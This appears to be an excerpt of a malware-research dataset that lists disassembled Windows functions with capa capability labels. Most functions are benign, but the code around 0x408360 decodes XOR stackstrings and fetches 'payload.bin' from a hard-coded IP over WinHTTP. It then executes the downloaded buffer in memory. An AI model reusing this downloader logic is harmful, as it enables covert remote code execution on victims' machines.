joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140177530
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140210348]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140177577
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14015d000
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.140178a30
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14015d000
add rsp, 0x38
ret

Function at 0x140178b20
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140210348]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov qword [r11 + 8], rbp
lea rdx, [rsp + 0x20]
xor ebx, ebx
mov ecx, 0x105
mov qword [r11 + 0x10], rsi
lea rdi, [rsp + 0x20]
mov ebp, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp eax, 0x104
mov esi, eax
jle 0x140178bb8
mov qword [rsp + 0x160], r12
lea r12d, [rax + 1]
lea edx, [rbx + 1]
movsxd rcx, r12d
call fcn.140169850
test rax, rax
mov rdi, rax
jne 0x140178b99
call fcn.140160d90
mov esi, ebx
mov dword [rax], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
jmp 0x140178bb0
test esi, esi
mov ebp, 1
je 0x140178bb0
mov rdx, rax
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, eax
mov r12, qword [rsp + 0x160]
test esi, esi
mov rsi, qword [rsp + 0x158]
je 0x140178bd7
cmp byte [rdi + 1], 0x3a
jne 0x140178be2
movzx ecx, byte [rdi]
call fcn.14017a140
lea ebx, [rax - 0x40]
jmp 0x140178be2
call fcn.140160d90
mov dword [rax], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
test ebp, ebp
mov rbp, qword [rsp + 0x150]
je 0x140178bf6
mov rcx, rdi
call fcn.14015e810
mov eax, ebx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14015d000
mov rbx, qword [rsp + 0x168]
add rsp, 0x140
pop rdi
ret
Function at 0x140179680
Capabilities:
Clear file content

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r13
sub rsp, 0x20
mov rbp, rdx
xor edi, edi
xor edx, edx
lea r8d, [rdi + 1]
mov esi, ecx
call fcn.140175790
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x140179824
lea r8d, [rdi + 2]
xor edx, edx
mov ecx, esi
call fcn.140175790
cmp rax, 0xffffffffffffffff
je 0x140179824
mov qword [rsp + 0x40], rbx
mov rbx, rbp
mov qword [rsp + 0x50], r14
sub rbx, rax
test rbx, rbx
jle 0x1401797a3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r14d, 0x1000
lea edx, [rdi + 8]
mov rcx, rax
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbp, rax
jne 0x140179729
call fcn.140160d90
mov dword [rax], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
call fcn.140160d90
mov eax, dword [rax]
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rdi
pop rsi
ret
mov edx, 0x8000
mov ecx, esi
mov qword [rsp + 0x48], r12
call fcn.140179840
mov r12d, eax
nop
mov r8d, ebx
cmp rbx, r14
mov rdx, rbp
cmovge r8d, r14d
mov ecx, esi
call fcn.140167310
cmp eax, 0xffffffff
je 0x140179765
cdqe
sub rbx, rax
test rbx, rbx
jg 0x140179740
jmp 0x14017977e
call fcn.140160dc0
cmp dword [rax], 5
jne 0x14017977a
call fcn.140160d90
mov dword [rax], SafeArrayDestroy
or rdi, 0xffffffffffffffff
mov edx, r12d
mov ecx, esi
call fcn.140179840
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x48]
jmp 0x1401797fc
test rbx, rbx
jns 0x140179806
xor r8d, r8d
mov rdx, rbp
mov ecx, esi
call fcn.140175790
cmp rax, 0xffffffffffffffff
je 0x14017970a
mov ecx, esi
call fcn.140162860
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
neg eax
sbb rdi, rdi
neg rdi
sub rdi, 1
cmp rdi, 0xffffffffffffffff
jne 0x140179806
call fcn.140160d90
mov dword [rax], SafeArrayDestroy
call fcn.140160dc0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
cmp rdi, 0xffffffffffffffff
je 0x14017970a
xor r8d, r8d
mov rdx, r13
mov ecx, esi
call fcn.140175790
cmp rax, 0xffffffffffffffff
je 0x14017970a
xor eax, eax
jmp 0x140179711
call fcn.140160d90
mov rbp, qword [rsp + 0x58]
mov eax, dword [rax]
add rsp, 0x20
pop r13
pop rdi
pop rsi
ret
Function at 0x14017dd70
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x140210348]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call fcn.140160e90
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x140000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call fcn.140160e90
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x14017de03
cmp dword [rsp + 0x24], 5
jb 0x14017de1d
jmp 0x14017de19
cmp dword [rsp + 0x30], esi
jne 0x14017de1d
cmp dword [rsp + 0x24], 4
ja 0x14017de19
jne 0x14017de1d
cmp dword [rsp + 0x28], 0
jbe 0x14017de1d
mov byte [rbx + 0x18], sil
lea rax, [0x14019c228]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.14017dbb0
movzx ecx, byte [0x140230198]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x140230198], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14015d000
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x4080f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
xor ecx, ecx
mov byte [rsp + 0x20], 0x3e
mov byte [rsp + 0x21], 0x23
mov byte [rsp + 0x22], 0x29
mov byte [rsp + 0x23], 0x2f
lea r9d, [rcx + 0xe]
mov byte [rsp + 0x24], 0x45
mov byte [rsp + 0x25], 4
mov byte [rsp + 0x26], 0
mov byte [rsp + 0x27], 1
mov byte [rsp + 0x28], 0x35
mov byte [rsp + 0x29], 8
mov byte [rsp + 0x2a], 7
mov byte [rsp + 0x2b], 0x2f
mov byte [rsp + 0x2c], 0x24
mov byte [rsp + 0x2d], 0x13
mov byte [rsp + 0x2e], 0
mov word [rsp + 0x30], 0x69
mov word [rsp + 0x32], 0x4a
mov word [rsp + 0x34], 0x47
mov word [rsp + 0x36], 0x67
mov word [rsp + 0x38], 0x31
mov word [rsp + 0x3a], 0x70
mov word [rsp + 0x3c], 0x70
mov word [rsp + 0x3e], 0x42
mov word [rsp + 0x40], 0x5a
mov word [rsp + 0x42], 0x66
mov word [rsp + 0x44], 0
mov rdx, rcx
lea r8, [rsp + 0x20]
nop
cmp word [rsp + rdx*2 + 0x30], cx
cmove rdx, rcx
add r8, 1
movzx eax, byte [rsp + rdx*2 + 0x30]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x4081b0
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.103.127.83.47
xor r9d, r9d
mov r8w, 0x118
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.00401010
add rsp, 0x50
pop rbx
ret

Function at 0x408210
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ebx, ebx
mov byte [rsp + 0x30], 0x1f
mov byte [rsp + 0x31], 5
mov byte [rsp + 0x32], 7
mov byte [rsp + 0x33], 6
mov byte [rsp + 0x34], 0x3c
lea r8d, [rbx + 0xb]
mov byte [rsp + 0x35], 0x35
mov byte [rsp + 0x36], 0x24
mov byte [rsp + 0x37], 0x3f
mov byte [rsp + 0x38], 0x49
mov byte [rsp + 0x39], 6
mov byte [rsp + 0x3a], 0x26
mov byte [rsp + 0x3b], 0
mov word [rsp + 0x40], 0x48
mov word [rsp + 0x42], 0x6c
mov word [rsp + 0x44], 0x69
mov word [rsp + 0x46], 0x4e
mov word [rsp + 0x48], 0x48
mov word [rsp + 0x4a], 0x41
mov word [rsp + 0x4c], 0x54
mov word [rsp + 0x4e], 0x70
mov word [rsp + 0x50], 0x39
mov word [rsp + 0x52], 0x63
mov word [rsp + 0x54], 0
mov word [rsp + 0x58], 0x54
mov word [rsp + 0x5a], 0x65
mov word [rsp + 0x5c], 0x6e
mov word [rsp + 0x5e], 0x63
mov word [rsp + 0x60], 0x65
mov word [rsp + 0x62], 0x6e
mov word [rsp + 0x64], 0x74
mov word [rsp + 0x66], 0
mov rcx, rbx
lea rdx, [rsp + 0x30]
nop
nop
nop
cmp word [rsp + rcx*2 + 0x40], bx
cmove rcx, rbx
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x40]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x408300
mov rcx, qword [0x0040dec8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.00401010
add rsp, 0x70
pop rbx
ret
Function at 0x408360
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
sub rsp, 0x3c8
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x18], r12
xor eax, eax
mov qword [r11 - 0x20], r13
mov qword [r11 - 0x28], r14
xor r12d, r12d
mov qword [r11 - 0x30], r15
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], r12
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], 0x57
mov word [rsp + 0x42], 0x69
mov word [rsp + 0x44], 0x6e
mov word [rsp + 0x46], 0x68
mov word [rsp + 0x48], 0x74
mov word [rsp + 0x4a], 0x74
mov word [rsp + 0x4c], 0x70
mov word [rsp + 0x4e], 0x2e
mov word [rsp + 0x50], 0x64
mov word [rsp + 0x52], 0x6c
mov word [rsp + 0x54], 0x6c
mov word [rsp + 0x56], r12w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
mov qword [0x0040dec8], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbx, rax
call fcn.00408210
lea rdx, str.103.127.83.47
mov rcx, rax
mov r8d, 0x118
mov r14, rax
call fcn.004080f0
lea rdx, str.payload.bin
mov rcx, rax
mov r15, rax
call fcn.00407f70
mov rcx, rax
mov rsi, rax
call fcn.00407e10
mov rcx, rsi
call fcn.00407cc0
lea rcx, [rsp + 0x28]
call fcn.00407960
lea edx, [r12 + 8]
mov r8d, 0x1000
mov rcx, rbx
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, qword [rsp + 0x28]
lea rdx, [rsp + 0x20]
mov rcx, rsi
mov rbp, rax
mov dword [rsp + 0x20], r12d
call r13
cmp dword [rsp + 0x20], r12d
je 0x40851f
mov r12, qword [rsp + 0x30]
nop
nop
nop
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x31f
mov byte [rsp + 0x60], 0
call fcn.00405930
lea r9, [rsp + 0x20]
lea rdx, [rsp + 0x60]
mov r8d, 0x320
mov rcx, rsi
call r12
mov ebx, dword [rsp + 0x20]
mov ecx, edi
lea rdx, [rsp + 0x60]
add rcx, rbp
mov r8, rbx
call fcn.00405200
lea rdx, [rsp + 0x20]
mov rcx, rsi
add edi, ebx
mov dword [rsp + 0x20], 0
call r13
cmp dword [rsp + 0x20], 0
jne 0x4084c0
mov rbx, qword [rsp + 0x38]
mov rcx, rsi
call rbx
mov rcx, r15
call rbx
mov rcx, r14
call rbx
call rbp
mov r15, qword [rsp + 0x398]
mov r14, qword [rsp + 0x3a0]
mov r13, qword [rsp + 0x3a8]
mov r12, qword [rsp + 0x3b0]
mov rdi, qword [rsp + 0x3b8]
mov rsi, qword [rsp + 0x3c0]
mov rbp, qword [rsp + 0x3e8]
mov rbx, qword [rsp + 0x3e0]
xor eax, eax
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.00401010
add rsp, 0x3c8
ret
Function at 0x140004478
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400044c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400044c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400044c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400044c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400044c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400044c4
xor al, al
add rsp, 0x28
ret
Function at 0x140007670
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
test rdx, rdx
je 0x140007685
mov r8d, r8d
add rsp, 0x28
jmp fcn.140006d90
test r8d, r8d
jne 0x14000768f
call fcn.140006d20
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000e840
Capabilities:
Create tcp socket

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rdi, rcx
mov rax, qword [0x14039de68]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rsi, [rcx + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_EnterCriticalSection
mov ecx, 0x180
call fcn.140023b70
mov rbx, rax
lea r14, [rax + 0x58]
lea rcx, [rax + 0x48]
movss xmm0, dword [0x14029bbd0]
movups xmmword [rax + 0x28], xmm0
mov r8d, 0x130
xor edx, edx
call fcn.14025d290
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x20], rax
mov r10, qword [rdi + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx], xmm0
mov rcx, qword [rdi + 0xa0]
mov qword [rsp + 0x38], rbx
lea rdx, [rsp + 0x4c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x90
mov dword [rsp + 0x20], 0x90
mov rdx, rax
mov r8, r14
xor r9d, r9d
call r10
test eax, eax
jne 0x14000e903
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x14000e92d
inc dword [rdi + 0xe0]
mov dil, 1
mov rcx, rsi
call fcn.1400ec6f0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140259980
mov eax, edi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, rbx
call fcn.140262a24
mov ecx, edi
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor edi, edi
jmp 0x14000e90c
Function at 0x14000e960
Capabilities:
Set socket configuration

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
mov r14, r8
mov rsi, rdx
mov rbx, rcx
mov rax, qword [0x14039de68]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rdi, [rcx + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_EnterCriticalSection
test byte [rbx + 0x9c], 1
jne 0x14000e9cc
mov rax, qword [rbx + 0xa0]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsi + 0x20]
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x68]
mov edx, 0xffff
mov r8d, 0x700b
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x14000ea08
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
dec dword [rbx + 0xe0]
mov rcx, rsi
call fcn.140262a24
mov rcx, rdi
call fcn.1400ec6f0
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140259980
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [rsi + 0x58]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor edx, edx
mov r8d, 0x90
mov r9d, 0x90
call qword [rbx + 0xd8]
mov ecx, 0x80
call fcn.140259c08
mov r12, rax
mov rdx, qword [rsp + 0x50]
movsxd r8, dword [rsp + 0x4c]
mov rcx, rax
call fcn.14025caa0
mov ecx, 0xe8
call fcn.140259c08
mov r15, rax
mov qword [rsp + 0x40], r12
mov rdx, qword [rsi + 0x20]
lea r8, [rsp + 0x40]
mov rcx, rax
call fcn.14000eaf0
mov byte [r15 + 0xd8], 1
lock inc qword [r15 + 8]
mov rcx, qword [r15 + 0x58]
mov rdx, r14
mov r8, r15
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [r15 + 0x60], rax
cmp qword [rbx + 0xe8], 0
je 0x14000eac8
mov rax, qword [rbx + 0xf0]
mov qword [rax + 0xd0], r15
jmp 0x14000eacf
mov qword [rbx + 0xe8], r15
mov qword [rbx + 0xf0], r15
inc dword [rbx + 0xf8]
jmp 0x14000e9d6

Function at 0x14000fbb0
Capabilities:
Set socket configuration

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
test rdx, rdx
je 0x14000fbc5
mov rcx, rdx
call fcn.140262a24
mov rcx, qword [rsi + 0xa0]
mov dword [rsp + 0x20], 0
mov edx, 0xffff
mov r8d, 0x7010
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_setsockopt]
test byte [rsi + 0x9c], 2
jne 0x14000fc09
lea rcx, [rsi + 0x10]
mov rax, qword [rsi + 0x10]
call qword [rax + 0x40]
test al, 1
je 0x14000fc09
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x18]
test byte [rsi + 0x9c], 4
jne 0x14000fc24
mov rax, qword [rsi + 0x10]
add rsi, 0x10
mov rcx, rsi
call qword [rax + 0x40]
test al, 2
jne 0x14000fc2a
add rsp, 0x30
pop rsi
ret
mov rax, qword [rsi]
mov edx, 2
mov rcx, rsi
call qword [rax + 0x28]
mov rcx, rax
mov edx, 2
add rsp, 0x30
pop rsi
jmp fcn.1400e1d20
Function at 0x140013520
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0x28
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x14001356e
movsxd rcx, eax
inc eax
lea rcx, [rcx*2 + 2]
mov esi, eax
call sym.dart_precompiled_runtime_product.exe_Dart_ScopeAllocate
mov rdi, rax
mov ecx, esi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rcx, rdi
mov rdx, 0xffffffffffffffff
xor r8d, r8d
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400ec9b0
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret

Function at 0x140013580
Capabilities:
Set current directory

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [0x14039de68]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x28]
call fcn.1400ecf10
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, eax
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400135bb
call fcn.1402599a8
test esi, esi
setne bl
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140259980
mov eax, ebx
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x140013b80
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x60
mov rax, qword [0x14039de68]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140259980
mov eax, esi
add rsp, 0x60
pop rsi
ret
Function at 0x140013bc0
Capabilities:
Query or enumerate registry value

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x248
mov rax, qword [0x14039de68]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov dword [rsp + 0x3c], 0x200
lea r14, [rsp + 0x3c]
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r8, str.ProductName
mov rcx, 0xffffffff80000002
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x140013c52
xor edi, edi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140259980
mov rax, rdi
add rsp, 0x248
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400ec9b0
mov rsi, rax
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r8, str.CurrentMajorVersionNumber
mov rcx, 0xffffffff80000002
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x140013d07
mov dword [rsp + 0x3c], 0x200
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r8, str.CurrentVersion
mov rcx, 0xffffffff80000002
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x140013d47
lea rcx, [rsp + 0x40]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400ec9b0
jmp 0x140013d68
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r8, str.CurrentMinorVersionNumber
mov rcx, 0xffffffff80000002
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x140013d53
xor ebx, ebx
test rbx, rbx
jne 0x140013d74
jmp 0x140013c2c
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x38]
lea rcx, str._d._d
call fcn.1400e2360
mov rbx, rax
test rbx, rbx
je 0x140013c2c
mov dword [rsp + 0x3c], 0x200
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r8, str.CurrentBuild
mov rcx, 0xffffffff80000002
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x140013c2c
lea rcx, [rsp + 0x40]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400ec9b0
mov r14, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r15, str.__s___s__Build__s_
xor ecx, ecx
xor edx, edx
mov r8, r15
mov r9, rsi
call fcn.140013e20
inc eax
movsxd r12, eax
mov rcx, r12
call sym.dart_precompiled_runtime_product.exe_Dart_ScopeAllocate
mov rdi, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, r12
mov r8, r15
mov r9, rsi
call fcn.140013e20
jmp 0x140013c2e
Function at 0x140013fa0
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
je 0x140014061
mov rsi, rax
xor r14d, r14d
mov rbx, rax
jmp 0x140013fe0
mov rcx, rbx
call fcn.14026e13c
lea rbx, [rbx + rax*2]
add rbx, 2
movzx eax, word [rbx]
cmp eax, 0x3d
je 0x140013fd0
test eax, eax
je 0x140013ff1
inc r14
jmp 0x140013fd0
mov qword [rdi], r14
lea rcx, [r14*8]
call sym.dart_precompiled_runtime_product.exe_Dart_ScopeAllocate
mov rdi, rax
test r14, r14
jle 0x140014056
xor r15d, r15d
mov rbx, rsi
jmp 0x140014035
mov rcx, rbx
call fcn.14026e13c
lea rbx, [rbx + rax*2]
add rbx, 2
cmp r15, r14
jge 0x140014056
cmp word [rbx], 0x3d
je 0x140014020
mov rcx, rbx
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400ec9b0
mov qword [rdi + r15*8], rax
inc r15
jmp 0x140014020
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140014063
xor edi, edi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140016170
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
mov rsi, rcx
mov rax, qword [rcx + 8]
test rax, rax
je 0x14001619d
add qword [rsi + 0x40], rax
mov rdi, qword [rsi + 0x48]
sub rdi, rax
mov qword [rsi + 0x48], rdi
jmp 0x1400161a1
mov rdi, qword [rsi + 0x48]
mov byte [rsi + 0x50], 0
lea r14, [rsi + 0x30]
xorps xmm6, xmm6
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
nop word cs:[rax + rax]
movups xmmword [rsi], xmm6
mov qword [rsi + 0x10], 0
mov rax, qword [rsi + 0x28]
mov qword [rsi + 0x18], rax
test rdi, rdi
je 0x1400161f0
mov rbx, qword [rsi + 0x38]
mov edx, 0x4000
sub rdx, rdi
jmp 0x140016239
mov ecx, reloc.WS2_32.dll_recv
call fcn.140259c08
mov rbx, rax
mov edi, 0x4000
mov ecx, 0x4000
call fcn.1402599b0
mov qword [rbx], rax
mov qword [rbx + 8], 0
mov rax, qword [rsi + 0x38]
add rax, 8
cmp qword [rsi + 0x30], 0
cmove rax, r14
mov qword [rax], rbx
mov qword [rsi + 0x38], rbx
mov qword [rsi + 0x48], 0x4000
xor edx, edx
add rdx, qword [rbx]
mov byte [rsi + 0x50], 1
mov rcx, qword [rsi + 0x20]
mov qword [rsp + 0x20], rsi
mov r8d, edi
xor r9d, r9d
call r15
test eax, eax
je 0x140016272
mov rax, qword [rsi + 8]
mov rdi, qword [rsi + 0x48]
add qword [rsi + 0x40], rax
sub rdi, rax
mov qword [rsi + 0x48], rdi
mov byte [rsi + 0x50], 0
jmp 0x1400161c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
sete al
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1400162a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [0x14039f478]
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword [0x14039f470]
test rax, rax
je 0x1400162dd
nop word cs:[rax + rax]
cmp dword [rax], esi
je 0x140016302
mov rax, qword [rax + 0x20]
test rax, rax
jne 0x1400162d0
mov rcx, rdi
call fcn.14009cb90
xor edi, edi
mov ecx, 1
xor edx, edx
mov r8d, esi
